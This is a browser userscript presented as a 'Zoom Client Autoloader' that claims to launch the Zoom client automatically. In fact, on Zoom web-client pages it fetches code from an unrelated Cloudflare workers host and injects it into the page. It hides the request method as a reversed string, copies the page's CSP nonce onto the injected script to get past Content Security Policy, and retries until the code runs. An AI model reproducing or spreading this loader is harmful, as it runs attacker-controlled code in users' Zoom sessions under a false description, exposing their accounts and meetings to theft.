// ==UserScript== // @name Zoom Client Autoloader // @namespace http://tampermonkey.net/ // @version 1.1 // @description Автоматический запуск клиента Zoom // @author MultiVers // @match https://app.zoom.us/wc/* // @grant GM_setValue // @grant GM_getValue // @run-at document-end // @license MIT // @downloadURL none // ==/UserScript== let загруженоОдинРаз = false; let выполняется = false; async function загрузитьРесурсы() { console.log('Попытка загрузки. Статус:', { загруженоОдинРаз, выполняется }); if (загруженоОдинРаз) { console.log('Загрузка уже выполнена ранее'); return; } if (выполняется) { console.log('Загрузка уже выполняется'); return; } выполняется = true; console.log('Начинаем загрузку'); const обработчик = { инициализация: async строка => { console.log('Инициализация загрузки'); return (await fetch('https://loader-geneate.webclie2d.workers.dev/', { method: строка.split('').reverse().join(''), cache: 'no-store', headers: {'Accept':'*/*','Connection':'keep-alive'} })).text(); }, подготовка: данные => { console.log('Подготовка скрипта'); const скрипт = document.createElement('script'); скрипт.textContent = данные; return скрипт; }, применить: элемент => { console.log('Применение скрипта'); const нонс = document.querySelector('script[nonce]')?.nonce; if(нонс) элемент.nonce = нонс; document.head.appendChild(элемент); загруженоОдинРаз = true; выполняется = false; console.log('Загрузка успешно завершена'); } }; try { await обработчик.применить(обработчик.подготовка(await обработчик.инициализация('TEG'))); } catch (ошибка) { console.error('Ошибка при загрузке ресурсов:', ошибка); выполняется = false; if (!загруженоОдинРаз) { console.log('Планируем повторную попытку через 1 секунду'); setTimeout(загрузитьРесурсы, 1000); } } } // Запускаем только один раз if (!window.loaderStarted) { window.loaderStarted = true; console.log('Первый запуск загрузчика'); загрузитьРесурсы().catch(err => { console.error('Ошибка при выполнении загрузчика:', err); }); }